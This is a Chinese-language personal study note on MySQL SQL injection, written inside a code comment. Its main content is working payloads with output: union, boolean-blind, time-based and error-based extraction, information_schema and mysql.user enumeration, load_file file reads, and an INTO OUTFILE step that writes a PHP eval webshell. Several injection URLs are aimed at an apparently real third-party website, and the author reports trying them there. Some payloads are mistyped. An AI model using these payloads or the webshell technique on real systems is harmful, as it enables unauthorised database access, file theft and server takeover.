|
/*
sql 注入详细学习笔记
分类:
1.布尔注入 // 返回真或假
2.联合注入 // 一起查询
2.1 获取字段的总数
* order by *
*group by *
*进行连和查询
union select
2.2 获取数据库
2.3
3.延时注入 // 定时器查询
4.报错注入 // 报错但是信息是我们想要的
CMD 与 mysql
1. 如果没有配置mysql 环境且 mysql 没有安装在C盘,那么 找到 mysql 的 bin 目录 在这里cmd
我本地的是: F:\Dome\wamp\bin\mysql\mysql5.6.17\bin
2. 先启动 mysql[我的启动方式 就是运行WampServer64] 然后 输入 mysql -h要登录的主机名 -u用户名 -p,然后输入密码。
我的输入命令时: mysql -hlocalhost -uroot -p 回车 无密码 就继续回车
3. 开始码 [注意每句话尽量以封号结尾]
3.1使用数据库
use tp5test ;
3.4 退出 mysql 命令行 \q
3.5 排序 输出 select * from admins order by gid
3.6 获取字段的总数的方法
使用插入:
insert into admins values(null,2,2);
然后就会报错 1136: 1136的 意思就是 列数不对
ERROR 1136 (21S01): Column count doesn't match value count at row 1
接着,继续插入:
mysql> insert into admins values(null,2,2,2);
ERROR 1136 (21S01): Column count doesn't match value count at row 1
mysql> insert into admins values(null,2,2,2,2);
ERROR 1136 (21S01): Column count doesn't match value count at row 1
mysql> insert into admins values(null,2,2,2,2,2);
ERROR 1136 (21S01): Column count doesn't match value count at row 1
mysql> insert into admins values(null,2,2,2,2,2,2);
Query OK, 1 row affected (0.11 sec)
【好了 正确了 得出结论该admins 的字段数为 含ID在内7个 】
使用方法2:[使用order by 或者 group by 排序]
select * from admins order by 1; [无报错]
select * from admins order by 2;[无报错]
select * from admins order by 3;[无报错]
select * from admins order by 4;[无报错]
select * from admins order by 5;[无报错]
select * from admins order by 6;[无报错]
select * from admins order by 7;[无报错]
select * from admins order by 8;[==报错==]
因此判断 字段数为7
使用方法3: 【union select】 联合查询的 使用 不是很明白????
select username,password from admins where id = 1 union select 1,1;
换个方式 可获得数据库名称: 【闲着无聊查了下 这简直就是错误用法示范 】
mysql> select username,password from admins where id = 1 union select 1,database();
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| 1 | tp5test |
+----------+----------------------------------+
这个username 的字段值非必须 可以这么写:
mysql> select 1,2 from admins where id = 1 union select 1,database();
+---+---------+
| 1 | 2 |
+---+---------+
| 1 | 2 |
| 1 | tp5test |
+---+---------+
mysql> select 1 from admins union select database();
+---------+
| 1 |
+---------+
| 1 |
| tp5test |
+---------+
可以看见 数据库名称为 tp5test 利用的是 database(); 返回名称;
【
union select 正常人类的用法
SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
】
3.6.2 爆数据库的表: [注意 几个字段 后面就是几个位置]
select * from admins where id = 2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database();
+----+----------+----------+----------+-----+--------+----------+
| id | username | password | truename | gid | status | add_time |
+----+----------+----------+----------+-----+--------+----------+
| 1 | admins | 3 | 4 | 5 | 6 | 7 |
| 1 | staff | 3 | 4 | 5 | 6 | 7 |
+----+----------+----------+----------+-----+--------+----------+
3.6.3 爆出的表如何逐条显示?【在上一句加上 limit 0,1】 不断替换 0 即可 替换开始位置 从而每次都是一条数据
select * from admins where id = 2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database();
3.7 获取数据库 信息
3.7.1 查询当前使用的数据库名:
select database();
3.7.2 爆出表 如何放到第一行 【利用 where 1=2 的错误条件展示出来】:
mysql> select * from admins where 1=2 union select database(),2,3,4,5,6,7;
+---------+----------+----------+----------+-----+--------+----------+
| id | username | password | truename | gid | status | add_time |
+---------+----------+----------+----------+-----+--------+----------+
| tp5test | 2 | 3 | 4 | 5 | 6 | 7 |
+---------+----------+----------+----------+-----+--------+----------+
3.8 跨库查询
3.8.1 查询所有用户
select * from mysql.user;
3.9 desc information_schema.COLUMNS; 查看 数据库大体信息
3.9.1 查看该表所有字段 select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='表名称';
4. 数据注入类型
4.1. 整型(没有单双引号)
4.2. 字符串类型(有单双引号)
5. 导出数据库别名 那 shell
5.1 将查询结果输出到 指定位置 生成指定文件
select * from admins into outfile 'f:/oa/1.sql';
5.2 活用3.2 可以创建 一句话木马文件
select '<?php @eval($_POST[‘a’]);?>' into outfile 'f:/oa/3.php'; 【就会生成一句话木马,那就可以菜刀找到这里 然后完美】
备注:【在此处 我尝试了把 a 换成 十六进制编码 发现输出还是 十六进制编码 未改变】
5.3 将要使用的代码转化为16进制
6. 读文件 【 需要对应的权限 才能读 C盘 】
.load_file("f:/OA/6.php");
select load_file("f:/OA/6.php"); 可以转化为 select load_file(0x663a2f4f412f362e706870);
转为16进制从而避开 双引号
7. # 与 -- 都属于mysql 的注释符 如果使用 # 需要转编为 %23 如果 要闭合 ' 单引号 可以 这样写 '-- 则在mysql 中 会自动闭合
8. 布尔注入
8.1 mid(str, 1 , 3 ); 字符串截取 开始位置【不是下标而是个数】 、 长度 例如
select mid('laomo666',2,4); 截取到的值为 aomo
8.2 ORD() 转换成 ascii 码
select ORD('x'); 输出的是 x 的 ascii 编码值
8.3 length() 统计字节长度 ;
select Length('ajjjjjjjj');
8.4 version() 是查看数据库版本
select version();
8.5 database() 查看数据库名
select database();
8.6 user() 查看当前用户
select user();
8.7 开始进行布尔注入 [注意这里的and 与 or 可以互换]
8.7.1 获取数据库名长度
select * From admins where id =1 and Length(database()) =6;
select * From admins where id =1 and Length(database()) =7;
http://www.damichong.com/web/xx/?id=66 or length(database()) =8 [如果可以 就这么注入 可惜这是sqlserver我没注入成功]
8.7.2 获取数据库 名字
select * From admins where id =1 and mid(database(),1,1) ='a'; // 错
select * From admins where id =1 and mid(database(),1,1) ='b'; // 错
select * From admins where id =1 and mid(database(),1,1) ='t'; // 正确
http://www.damichong.com/web/xx/?id=66 or mid(database(),1,1) = p [这个就坑爹了 这个是 一个判断 数据库名是啥]
8.7.3 升级 获取数据库名字 【利用转码判断它的 ascii 值 取值范围】
select * From admins where id =1 and ORD(mid(database(),1,1)) >10; // 错
select * From admins where id =1 and ORD(mid(database(),1,1)) >116; // 错
select * From admins where id =1 and ORD(mid(database(),1,1)) >115; // 正确 t 的 ascii 值为 116 反之 116 的值为t
8.7.4 获取表的名称
select * from admins where id = 1 and 1 =2 union select 1,table_name,3,4,5,6,7 from information_schema.Tables where TABLE_SCHEMA = database() limit 0,1;
【下面这句 就是 转ascii 码 一个一个位置截取 然后获取 最后拼出表名】
http://www.damichong.com/web/xx/?id=66 or (select length(TABLE_NAME) from infomation_schema TABLES where TABLE_SCHEMA = database() limit 0,1)>12 #&password=222&t=my
http://www.damichong.com/web/xx/?id=66 or ORD( mid(select length(TABLE_NAME) from infomation_schema TABLES where TABLE_SCHEMA = database() limit 0,1),1,1))>12 #&password=222&t=my
8.7.5 获取一张数据库中表的数量 【先获取表的数量 然后一个一个 获取表的名称 再去获取表的字段】
select count(TABLE_NAME) FROM information_schema.TABLES where TABLE_SCHEMA=database();
8.7.6 获取字段总数
select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 ; [这句 返回的结果是 字段总数]
select * from admins where id = 1 and (select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 ) >1;
select * from admins where id = 1 and (select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 ) >2;
【不断的测出字段总数】
再获取第一个字段的长度 -》 然后 再判断第一个字段的第一位是啥 以此类推 【真是个技术活】
http://www.damichong.com/web/xx/?username=wang' and (select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 )=8#&password=222&t=my
8.8.8 获取本表中的所有 字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_name='admins';
select * from admins where id = 1 and 1=2 union select COLUMN_NAME from information_schema.COLUMNS ;
9. 延时 注入 【】
if 语法: if(条件,True,False);
select * from admin where id=1 and name = if(2>1,"1","2");
Sleep(1);
select if(2>1,23,24);
select if(2>1,23,24) and Sleep(5); [延时五秒]
例子:
?act = update&id = 2 and Sleep( if(select count(SCHMA_NAME) FROM infomation_SCHMATA)>2,0,5); [爆数据库总数]
9.1 获取数据库的总数
9.2 获取当前数据库长度
9.3 获取当前数据库内容
9.4 获取当前表的总数
9.5 获取当前表的长度
9.6 获取当前表的内容
9.7 获取当前表的字段总数
9.8 获取当前表的字段第2个长度
9.9 获取当前表的字段第N个内容
9.10 获取内容
9.11 别名的理解
mysql> select username as tp from admins;
+-------+
| tp |
+-------+
| admin |
| tp1 |
| tp3 |
| 2 |
+-------+
mysql> SELECT * from admins xx where xx.id = 1; 【 admins 的别名为xx 】
10 报错注入
原理: 利用数据库的BUG,看报错信息 不过报错报的就是我们想要的信息
10.1 只要是count()、rand、group by 三个连用就会造成这种报错;
10.2 left(rand(),3)== 不一定报错
10.3 floor(rand(o)*2)== 一定报错
10.4 round(x,d) // x指要处理的数,d指保留几位小数
10.5 Concat() // 字符串拼接
10.6 select count(*),concat(left(rand(),3),"---",(select version()))x from ri group by x;
10.7 函数报错
11. 注入漏洞的修补 :【就是 转译 接收到的值 】
12. 如何判断是否可以注入?
比如 id = 8
在 int 类型时 如果 id=8 + 1 可以运行 则 可以注入;
在 字符串时 要闭合 ' 号闭合
(有报错信息 不一定可以注入)
13. 宽字节的注入 【原理: 如果客户端发送的数据字符集为GBK 则可能会知道转译字符 ‘’ ; 如果是utf8 就凉了 意义不大】
参考地址: https://www.cnblogs.com/blacksunny/p/7472783.html
14。 多语句注入【用分号隔开 Select 1; select 2】 分号后 可以是添加、修改之类
据我个人经验 啥子玩意哦 有个篮子用, 分号后 还执行?这代码打死也过不了系统;
15. 添加型注入 【 就是在 注册、添加、修改等操作的时候 把 指定的字段名换成 database() 之类 可以显示的函数名】
16. 删除型注入 【只能支持 布尔注入、 延迟注入; 本质 就是在删除时 添加一个条件 实现布尔注入】
17. 修改注入 【 同 添加注入的区别 意义其实不大,都是 指定函数暴数据库】
以上注入 只针对 mysql , 其它数据库 原理差不多,现场百度
========================报错 以及原因===========================================
命令行报错: no database selected
原因: 没有选择要使用的数据库
解决: 执行命令 use database_name database_name 替换成数据库名
参考文献: https://jingyan.baidu.com/article/adc81513ae2733f722bf7344.html
*/
|
|